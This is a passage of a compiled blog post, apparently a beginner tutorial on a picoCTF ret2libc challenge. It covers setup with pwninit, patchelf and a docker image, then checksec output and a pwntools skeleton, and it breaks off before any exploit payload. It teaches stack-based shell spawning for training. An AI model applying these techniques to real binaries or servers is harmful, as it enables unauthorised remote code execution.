var Component=(()=>{var h=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var y=Object.getOwnPropertyNames;var B=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var m=(n,e)=>()=>(e||n((e={exports:{}}).exports,e),e.exports),A=(n,e)=>{for(var a in e)s(n,a,{get:e[a],enumerable:!0})},o=(n,e,a,c)=>{if(e&&typeof e=="object"||typeof e=="function")for(let r of y(e))!u.call(n,r)&&r!==a&&s(n,r,{get:()=>e[r],enumerable:!(c=p(e,r))||c.enumerable});return n};var g=(n,e,a)=>(a=n!=null?h(B(n)):{},o(e||!n||!n.__esModule?s(a,"default",{value:n,enumerable:!0}):a,n)),F=n=>o(s({},"__esModule",{value:!0}),n);var i=m((v,t)=>{t.exports=_jsx_runtime});var C={};A(C,{default:()=>w,frontmatter:()=>f});var l=g(i()),f={title:"Binary exploitation on libc",description:`Learn binary exploitation using libc and some rop gadgets `,date:"2022-06-08",draft:!1,image:"cybersecurity/binary-exploitation/cover.png",tags:["security","hacking","technical","tutorial"]};function d(n){let e=Object.assign({blockquote:"blockquote",p:"p",div:"div",pre:"pre",code:"code",span:"span",h3:"h3",a:"a",strong:"strong",img:"img",em:"em",ul:"ul",li:"li"},n.components);return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsx)(e.p,{children:"Note this post assumes you're using a unix system. If you're on a different machine, consider using docker or a virtual machine to follow along."}),` `,(0,l.jsx)(e.p,{children:"To follow along with this tutorial, get yourself a linux box or a docker image to play with. I've published one on docker you can download using"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"docker"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pull"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"auser/kbox"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"docker"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"run"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"--rm"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-it"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-p"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"5900"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":5900"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-p"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"6080"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":6080"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-p"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#E06C75"},children:"$PWD"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":/work"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"auser/kbox"})]})]})})}),` `]}),` `,(0,l.jsxs)(e.h3,{id:"binary-exploitation",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#binary-exploitation",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Binary exploitation"]}),` `,(0,l.jsxs)(e.p,{children:["Let's talk about breaking into a binary that relies on the ",(0,l.jsx)(e.a,{href:"https://www.gnu.org/software/libc/",children:"libc"})," library. The ",(0,l.jsx)(e.code,{children:"libc"})," library is a library that provides core library functions for GNU system and GNU/Linux systems (and others that use Linux as the OS kernel). The ",(0,l.jsx)(e.code,{children:"libc"})," library provides all sorts of methods developers use to build their programs on, such as ",(0,l.jsx)(e.code,{children:"open"}),", ",(0,l.jsx)(e.code,{children:"read"}),", ",(0,l.jsx)(e.code,{children:"write"}),", ",(0,l.jsx)(e.code,{children:"exit"}),", ",(0,l.jsx)(e.code,{children:"system"}),", and others."]}),` `,(0,l.jsx)(e.p,{children:"What lies beyond this introduction is intended on being beginner-friendly to binary exploitation, but not necessarily good for those with no programming skills."}),` `,(0,l.jsxs)(e.p,{children:["To explore a semi-intermediate binary exploitation, we're going to use a binary provided by this ",(0,l.jsx)(e.a,{href:"https://play.picoctf.org/practice/challenge/179?category=6&page=1",children:"picoCTF challenge"}),". The goal of this challenge is to find the value of a file on a remote server and all we're given is a binary file and a remote address (and a Makefile)."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.code,{children:"mercury.picoctf.net 49464"})}),` `,(0,l.jsxs)(e.p,{children:["Let's download all of these files and make the ",(0,l.jsx)(e.code,{children:"vuln"})," binary executable:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"mkdir"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"/work"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" && "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"cd"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#E5C07B"},children:"$_"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"wget"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"https://..."}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# the url given by the challenge"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"chmod"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+x"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"vuln"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["What we want to do is attack the stack and use the application to give us a shell on the remote system. In order to do this, we'll poke through the stack within the running application and find a way to slide a call to create a shell using a ",(0,l.jsx)(e.code,{children:"system()"})," call with a the argument of ",(0,l.jsx)(e.code,{children:"/bin/sh"}),". Since this attack is pretty in-depth, we're going to have our work cut our for us as we walk through the application. In this introduction, we'll walk step-by-step around the application and how we can achieve this outcome."]}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["To understand what we're looking to execute, the ",(0,l.jsx)(e.code,{children:"system()"})," command, check out the ",(0,l.jsx)(e.a,{href:"https://man7.org/linux/man-pages/man3/system.3.html",children:"man page"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["In short, ",(0,l.jsx)(e.code,{children:"system()"})," is a library function provided by ",(0,l.jsx)(e.code,{children:"libc"})," which allows us to create a child process and execute a command in linux."]}),` `,(0,l.jsx)(e.p,{children:"In other words, we can pop open an interactive shell."}),` `]}),` `,(0,l.jsxs)(e.p,{children:["In this introduction to binary exploitation we are ",(0,l.jsx)(e.strong,{children:"handling this challenge manually"}),". In a follow-up section, we'll talk about ways to speed up our development. Since this is a beginner's guide to binary exploitation, it's a good idea to understand how everything works before we jump into using tools without understanding what the tools are doing. I ",(0,l.jsx)(e.strong,{children:"highly"})," recommend walking through this before moving to a library or tools you're unfamiliar with."]}),` `,(0,l.jsxs)(e.h3,{id:"getting-started",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#getting-started",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Getting started"]}),` `,(0,l.jsxs)(e.p,{children:["The binary is compiled linking to the ",(0,l.jsx)(e.code,{children:"libc"})," library. The ",(0,l.jsx)(e.code,{children:"libc"})," library is pretty ubiquitous and is likely installed on our system, but the versioning of which libc matters here as the application will not execute using a different version of ",(0,l.jsx)(e.code,{children:"libc"}),". One way we can check out what version is required by the binary is by running ",(0,l.jsx)(e.code,{children:"ldd"})," (a tool that prints shared objects/libraries -- more information can be found on the ",(0,l.jsx)(e.a,{href:"https://www.man7.org/linux/man-pages/man1/ldd.1.html",children:"man page"}),") and seeing what libraries the ",(0,l.jsx)(e.code,{children:"vuln"})," binary is pulling from. (This is assuming the library is dynamically linked, which ",(0,l.jsx)(e.code,{children:"ldd"})," will also reveal):"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ldd"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"linux-vdso.so.1"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" (0x00007ffdb112e000)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"libc.so.6"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" => "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./libc.so.6"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" (0x00007ff1d0de3000)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"/lib64/ld-linux-x86-64.so.2"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" (0x00007ff1d11d6000)"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["We see that the library is linking to our system's ",(0,l.jsx)(e.code,{children:"libc"})," (the last line indicates it's looking on our system for the library). If we try to run the application it's possible we'll see an error running the application. It might happen because the application might be trying to load ",(0,l.jsx)(e.code,{children:"libc"})," from our system where the version it is expecting to use might be different or compiled for a different system from the one from the current machine, etc. In order to ensure the ",(0,l.jsx)(e.code,{children:"vuln"})," binary works with the ",(0,l.jsx)(e.code,{children:"libc"})," file we downloaded from ",(0,l.jsx)(e.strong,{children:"picoCTF"})," we'll need to force the application to use the downloaded ",(0,l.jsx)(e.code,{children:"libc"})," library."]}),` `,(0,l.jsxs)(e.p,{children:["In order to make sure the downloaded ",(0,l.jsx)(e.code,{children:"libc"})," library is used and not the system is to set the interpreter of the loaded library using the two binaries: ",(0,l.jsx)(e.a,{href:"https://github.com/NixOS/patchelf",children:"patchelf"})," and ",(0,l.jsx)(e.a,{href:"https://github.com/io12/pwninit",children:"pwninit"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["Let's install ",(0,l.jsx)(e.a,{href:"https://github.com/io12/pwninit",children:"pwninit"})," (either using ",(0,l.jsx)(e.code,{children:"cargo"})," to install the tool or head to the github page and download the release):"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"wget"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"https://github.com/io12/pwninit/releases/download/3.0.0/pwninit"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"chmod"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+x"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pwninit"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Let's install the ",(0,l.jsx)(e.code,{children:"patchelf"})," tool (on ubuntu, you can use ",(0,l.jsx)(e.code,{children:"apt"}),", such as ",(0,l.jsx)(e.code,{children:"apt install patchelf"}),"):"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"apt"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"install"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"patchelf"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["Now we can use the ",(0,l.jsx)(e.code,{children:"pwninit"})," tool to build the libc library by running ",(0,l.jsx)(e.code,{children:"pwninit"})," which will create a linkable ",(0,l.jsx)(e.code,{children:"libc"})," library and then we'll run ",(0,l.jsx)(e.code,{children:"patchelf"})," to update the ",(0,l.jsx)(e.code,{children:"vuln"})," binary to use the local ",(0,l.jsx)(e.code,{children:"libc"})," library."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"chmod"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+x"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pwninit"})]})})})}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"cd"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"/work"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"pwninit"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"--bin"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Running this binary creates a ",(0,l.jsx)(e.code,{children:"solve.py"})," and a library to load which we'll tell the ",(0,l.jsx)(e.code,{children:"vuln"})," program how to run it using the ",(0,l.jsx)(e.code,{children:"patchelf"})," tool. The ",(0,l.jsx)(e.code,{children:"patchelf"})," tool enables us to not run the library and having pointing it to the binary, in this case ",(0,l.jsx)(e.code,{children:"vuln"}),"."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"cd"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"/work"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"rm"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"solve.py"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"mv"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"vuln_patched"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"patchelf"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"--set-interpreter"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ld-2.27.so"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]})]})})}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["Notice above we're moving the patched ",(0,l.jsx)(e.code,{children:"vuln"})," application to essentially rename it to ",(0,l.jsx)(e.code,{children:"vuln"}),". ",(0,l.jsx)(e.code,{children:"vuln_patched"})," is kind of a long binary to run."]}),` `]}),` `,(0,l.jsxs)(e.p,{children:["Now we can execute the ",(0,l.jsx)(e.code,{children:"vuln"})," binary:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"WeLcOmE"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"To"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"mY"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"EcHo"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"sErVeR!"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Hello"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"HeLlO"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"^C"})})]})})}),` `,(0,l.jsx)(e.p,{children:"Now the application can be run on our local machine. Let's get to work exploring the binary we have."}),` `,(0,l.jsxs)(e.p,{children:["Let's set up a script we'll write in python (specifically ",(0,l.jsx)(e.code,{children:"python3"}),"). Even though we'll be executing our application inside this script and exploring mostly manually, we'll come back to this script to keep notes and commands we'll send to the binary in an automated way."]}),` `,(0,l.jsxs)(e.p,{children:["Let's set our script up and then start walking through the binary in a manual way. Later, we'll come back to this script and use it to manipulate the application. We'll use the ",(0,l.jsx)(e.code,{children:"pwntools"})," library given to us by python. ",(0,l.jsx)(e.code,{children:"pwntools"})," can be installed using ",(0,l.jsx)(e.code,{children:"pip"})," in:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"pip3"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"install"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pwntools"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["We'll write this binary exploitation by using python so we can use ",(0,l.jsx)(e.code,{children:"pwntools"}),". Let's start it out with the following code in a file we'll call ",(0,l.jsx)(e.code,{children:"pwner.py"}),":"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" process"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Since we'll attach to the binary we're given (",(0,l.jsx)(e.code,{children:"vuln"}),"), we'll kick off a process using the ",(0,l.jsx)(e.code,{children:"process()"})," function from the ",(0,l.jsx)(e.code,{children:"pwntools"})," library. At the end, we'll want to execute the binary in interactive mode to give us a shell we'll spawn in the program. Let's modify our script to include this functionality:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" process"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"## Our script will go here"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Now, let's focus our attention on the binary. let's run the command checksec on the ",(0,l.jsx)(e.code,{children:"vuln"})," binary to see if there are any protections around the binary, such as read/execution protections on the stack or checking for ASLR (memory randomization on load). We'll use the ",(0,l.jsx)(e.code,{children:"checksec"})," binary provided by the ",(0,l.jsx)(e.code,{children:"pwntools"})," library:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"checksec"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[*] "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'/work/vuln'"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Arch:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"amd64-64-little"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"RELRO:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"Partial"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"RELRO"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Stack:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"No"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"canary"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"found"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"NX:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"NX"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"enabled"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"PIE:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"No"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"PIE"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" (0x400000)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"RUNPATH:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" 